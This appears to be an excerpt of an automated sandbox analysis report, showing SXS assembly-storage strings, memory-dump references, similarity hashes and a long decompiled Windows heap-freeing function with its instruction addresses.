RtlFreeHeap.1105(?,00000000,?,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001), ref: 6C07AC72

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 6C07AC2C
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 6C07A8EC
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 6C07AC0A
RtlpResolveAssemblyStorageMapEntry, xrefs: 6C07AC27
@, xrefs: 6C07ABA3
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 6C07AAC8
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6C07ABF3
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 6C07AA11
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 6C07AA1A
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6C07AB0E
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 6C07AAA0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$BoundaryCloseDeleteDescriptorFreeHeapmemcpy
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 565419495-4009184096
Opcode ID: 12315396bc70104f0bc081d85ba33414739169d2b3d21373b85cda28be54068e
Instruction ID: 47104f6a789a5fd5feb360a3ff1ab6bde1f42525b2d88fe759dd57dabb05b5e7
Opcode Fuzzy Hash: 12315396bc70104f0bc081d85ba33414739169d2b3d21373b85cda28be54068e
Instruction Fuzzy Hash: 3C027FB1D042399BDB20DB18CD80BDAB7F8AB45704F5452EAE60CA7641D731AF84CF69

Uniqueness

Uniqueness Score: -1.00%

Function 6C02A309, Relevance: 49.7, APIs: 22, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E6C02A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x6c0f8a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E6C02A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E6C02DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E6C009373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E6C00A9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0x6c0f8748 - 1;
						if( *0x6c0f8748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E6C00B150();
								} else {
									E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E6C00B150();
								__eflags =  *0x6c0f7bc8;
								if( *0x6c0f7bc8 == 0) {
									__eflags = 1;
									E6C0C2073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0x6c0f8748 - 1;
							if( *0x6c0f8748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E6C03174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E6C027D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E6C0C14FB(_t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E6C009373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E6C009819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0x6c0f8748 - 1;
									if( *0x6c0f8748 >= 1) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E6C00B150();
											} else {
												E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E6C00B150();
											_pop(_t491);
											__eflags =  *0x6c0f7bc8 - _t449;
											if( *0x6c0f7bc8 == _t449) {
												__eflags = 0;
												_t491 = 1;
												E6C0C2073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E6C0CA80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E6C02A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E6C027D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E6C027D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E6C0C1411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E6C027D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E6C027D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0x6c0f8748 - 1;
							if( *0x6c0f8748 < 1) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E6C00B150();
							} else {
								E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E6C00B150();
							__eflags =  *0x6c0f7bc8;
							if( *0x6c0f7bc8 == 0) {
								__eflags = 0;
								E6C0C2073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0x6c0f8748 - 1;
										if( *0x6c0f8748 >= 1) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E6C00B150();
												} else {
													E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E6C00B150();
												__eflags =  *0x6c0f7bc8 - _t446;
												if( *0x6c0f7bc8 == _t446) {
													__eflags = 1;
													E6C0C2073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E6C0CA80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E6C02A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E6C02B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E6C02A830(_t553, _v64, _v24);
								_t286 = E6C027D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E6C027D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E6C0C1411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E6C027D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E6C027D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E6C0C1411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E6C03174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E6C02B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E6C027D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E6C0C14FB(_t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E6C0299BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E6C02A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E6C03ABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x6c02a309
0x6c02a316
0x6c02a319
0x6c02a31d
0x6c02a32d
0x6c02a331
0x6c071e0d
0x6c071e10
0x6c02a3cb
0x6c02a3cb
0x6c02a3bd
0x6c02a3c3
0x6c02a3c3
0x6c02a33a
0x6c071e17
0x6c071e1b
0x6c071e1d
0x6c071e2f
0x6c071e34
0x6c071e36
0x6c071e3c
0x6c071e3c
0x6c071e3c
0x6c071e3c
0x6c071e36
0x6c071e42
0x6c071e45
0x6c071e47
0x6c02a3f8
0x6c02a3f8
0x6c02a3fb
0x6c02a3fd
0x6c071e50
0x6c02a403
0x6c02a411
0x6c02a411
0x6c02a411
0x6c02a41e
0x6c02a420
0x6c02a424
0x6c02a427
0x6c02a7c9
0x6c02a7cd
0x6c02a7d2
0x6c02a7d9
0x6c02a7e0
0x6c02a7e3
0x6c02a7ed
0x6c02a7f3
0x6c02a7f9
0x6c02a7ff
0x6c02a802
0x6c02a807
0x6c02a809
0x6c02a809
0x6c02a809
0x6c02a80f
0x6c02a80f
0x6c02a812
0x6c02a81c
0x6c02a821
0x6c02a824
0x6c02a42d
0x6c02a42d
0x6c02a42d
0x6c02a42d
0x6c02a42d
0x6c02a436
0x6c02a43a
0x6c02a609
0x6c02a60d
0x6c02a612
0x6c02a616
0x6c02a61a
0x6c071e57
0x6c071e59
0x00000000
0x00000000
0x6c071e5f
0x6c02a620
0x6c02a627
0x6c071e64
0x6c071e66
0x6c071e6c
0x6c071e72
0x6c071e76
0x6c071e95
0x6c071e9a
0x6c071e78
0x6c071e8d
0x6c071e92
0x6c071ea0
0x6c071ea5
0x6c071eaa
0x6c071eb2
0x6c071eb6
0x6c071eb9
0x6c071eb9
0x6c071ebe
0x6c071ec2
0x6c071ec2
0x6c071e66
0x6c02a62d
0x6c02a633
0x6c02a636
0x6c02a63a
0x6c02a63c
0x6c02a640
0x6c02a642
0x6c02a644
0x6c02a644
0x6c02a644
0x6c02a64d
0x6c02a64d
0x6c02a651
0x6c02a655
0x6c071eca
0x6c071ed1
0x00000000
0x00000000
0x6c071ed7
0x00000000
0x6c02a65b
0x6c02a669
0x6c02a66e
0x6c02a670
0x00000000
0x00000000
0x6c02a676
0x6c02a67b
0x6c02a680
0x6c02a682
0x6c071f1a
0x6c02a688
0x6c02a688
0x6c02a688
0x6c02a68a
0x6c02a68d
0x6c071f24
0x6c071f2a
0x6c071f31
0x6c071f43
0x6c071f43
0x6c071f31
0x6c02a693
0x6c02a697
0x6c02a69d
0x6c02a6a0
0x6c02a6a6
0x6c02a6a8
0x6c02a6a8
0x6c02a6a8
0x6c02a6a8
0x6c02a6b2
0x6c02a6b7
0x6c02a6c1
0x6c02a6c6
0x6c02a6d2
0x6c02a6d9
0x6c02a6e3
0x6c02a6e6
0x6c02a6eb
0x6c02a6ed
0x6c02a6ed
0x6c02a6ed
0x6c02a6ed
0x6c02a6f3
0x6c02a6f8
0x6c02a702
0x6c02a70a
0x6c02a70e
0x6c02a71a
0x6c02a71e
0x6c071fcb
0x6c071fcf
0x6c071fdd
0x6c071fe3
0x6c071fe3
0x6c02a724
0x6c02a728
0x6c02a72a
0x6c02a72d
0x6c02a737
0x6c02a73a
0x6c02a73c
0x6c02a742
0x6c02a748
0x6c071f4d
0x6c071f50
0x6c071f56
0x6c071f5c
0x6c071f5f
0x6c071f7e
0x6c071f83
0x6c071f61
0x6c071f76
0x6c071f7b
0x6c071f89
0x6c071f8e
0x6c071f93
0x6c071f94
0x6c071f9a
0x6c071f9c
0x6c071f9e
0x6c071fa1
0x6c071fa1
0x6c071fa6
0x6c071fa6
0x6c071f50
0x6c02a74e
0x6c02a751
0x6c02a754
0x6c02a75d
0x6c02a75e
0x6c02a762
0x6c02a767
0x6c071faf
0x6c071fb0
0x6c071fb9
0x6c071fbe
0x6c071fc2
0x6c071fc2
0x6c02a76d
0x6c02a76d
0x6c02a775
0x6c02a778
0x6c02a77d
0x6c02a77d
0x6c02a71e
0x6c02a782
0x6c02a787
0x6c02a789
0x6c071ff3
0x6c02a78f
0x6c02a78f
0x6c02a78f
0x6c02a791
0x6c02a794
0x6c071ffd
0x6c072006
0x6c07200c
0x6c072017
0x6c072019
0x6c072024
0x6c072024
0x6c072024
0x6c072047
0x6c072047
0x6c07200c
0x6c02a79a
0x6c02a79f
0x6c02a7a4
0x6c02a7a9
0x6c02a7ab
0x6c07205a
0x6c02a7b1
0x6c02a7b1
0x6c02a7b1
0x6c02a7b3
0x6c02a7b6
0x00000000
0x6c02a7bc
0x6c072066
0x6c072068
0x6c072073
0x6c072073
0x6c072073
0x6c072078
0x6c072079
0x6c07207d
0x00000000
0x6c07207d
0x6c02a7b6
0x6c02a440
0x6c02a440
0x6c02a440
0x6c02a446
0x6c02a44c
0x6c02a44f
0x6c02a453
0x6c02a455
0x6c0720b3
0x6c0720b9
0x6c0720b9
0x6c02a45d
0x6c02a460
0x6c02a464
0x6c02a466
0x6c02a46b
0x6c02a46f
0x6c02a471
0x6c02a471
0x6c02a471
0x6c02a474
0x6c02a479
0x6c02a47d
0x6c02a47f
0x6c072229
0x6c07222f
0x6c02a3c8
0x6c02a3c8
0x6c02a3ca
0x6c02a3ca
0x00000000
0x6c02a3ca
0x6c072235
0x6c07223a
0x6c07223a
0x00000000
0x00000000
0x6c072240
0x6c072246
0x6c07224a
0x6c072269
0x6c07226e
0x6c07224c
0x6c072261
0x6c072266
0x6c072274
0x6c072279
0x6c07227e
0x6c072286
0x6c072288
0x6c07228d
0x6c07228d
0x6c072292
0x6c072292
0x6c072295
0x6c072295
0x00000000
0x6c072295
0x6c02a485
0x6c02a489
0x6c02a48b
0x6c02a48f
0x6c02a493
0x6c02a497
0x6c02a49b
0x6c02a4bb
0x6c02a4bb
0x6c02a4bd
0x6c02a4ff
0x6c02a4ff
0x6c02a501
0x6c02a505
0x6c02a50f
0x6c02a517
0x6c02a51b
0x6c02a527
0x6c02a52b
0x6c072182
0x6c072185
0x6c072193
0x6c072199
0x6c072199
0x6c02a531
0x6c02a535
0x6c02a538
0x6c02a548
0x6c02a54b
0x6c02a54d
0x6c02a553
0x6c02a559
0x6c072100
0x6c072103
0x6c072109
0x6c07210f
0x6c072112
0x6c072131
0x6c072136
0x6c072114
0x6c072129
0x6c07212e
0x6c07213c
0x6c072141
0x6c072147
0x6c07214d
0x6c072151
0x6c072154
0x6c072154
0x6c072159
0x6c072159
0x6c072103
0x6c02a55f
0x6c02a562
0x6c02a565
0x6c02a567
0x6c072162
0x6c02a56d
0x6c02a574
0x6c02a575
0x6c02a579
0x6c02a57e
0x6c072169
0x6c07216a
0x6c072170
0x6c072175
0x6c072179
0x6c072179
0x6c02a57e
0x6c02a584
0x6c02a58f
0x6c02a58f
0x6c02a52b
0x6c02a5ad
0x6c02a5bc
0x6c02a5c1
0x6c02a5c6
0x6c02a5cb
0x6c02a5cd
0x6c0721a9
0x6c02a5d3
0x6c02a5d3
0x6c02a5d3
0x6c02a5d5
0x6c02a5d8
0x6c0721b3
0x6c0721bc
0x6c0721c2
0x6c0721cd
0x6c0721cf
0x6c0721da
0x6c0721da
0x6c0721da
0x6c0721f7
0x6c0721f7
0x6c0721c2
0x6c02a5de
0x6c02a5e3
0x6c02a5e8
0x6c02a5ea
0x6c07220a
0x6c02a5f0
0x6c02a5f0
0x6c02a5f0
0x6c02a5f2
0x6c02a5f5
0x6c072219
0x6c07221b
0x6c07208c
0x6c07208c
0x6c07208c
0x6c072095
0x6c072096
0x6c072097
0x6c072098
0x6c0720a4
0x6c0720a5
0x6c0720a9
0x6c0720a9
0x00000000
0x6c02a5f5
0x6c02a4bf
0x6c02a4d3
0x6c02a4d8
0x6c02a4da
0x6c071ede
0x6c071ede
0x6c071ee4
0x6c071ee9
0x00000000
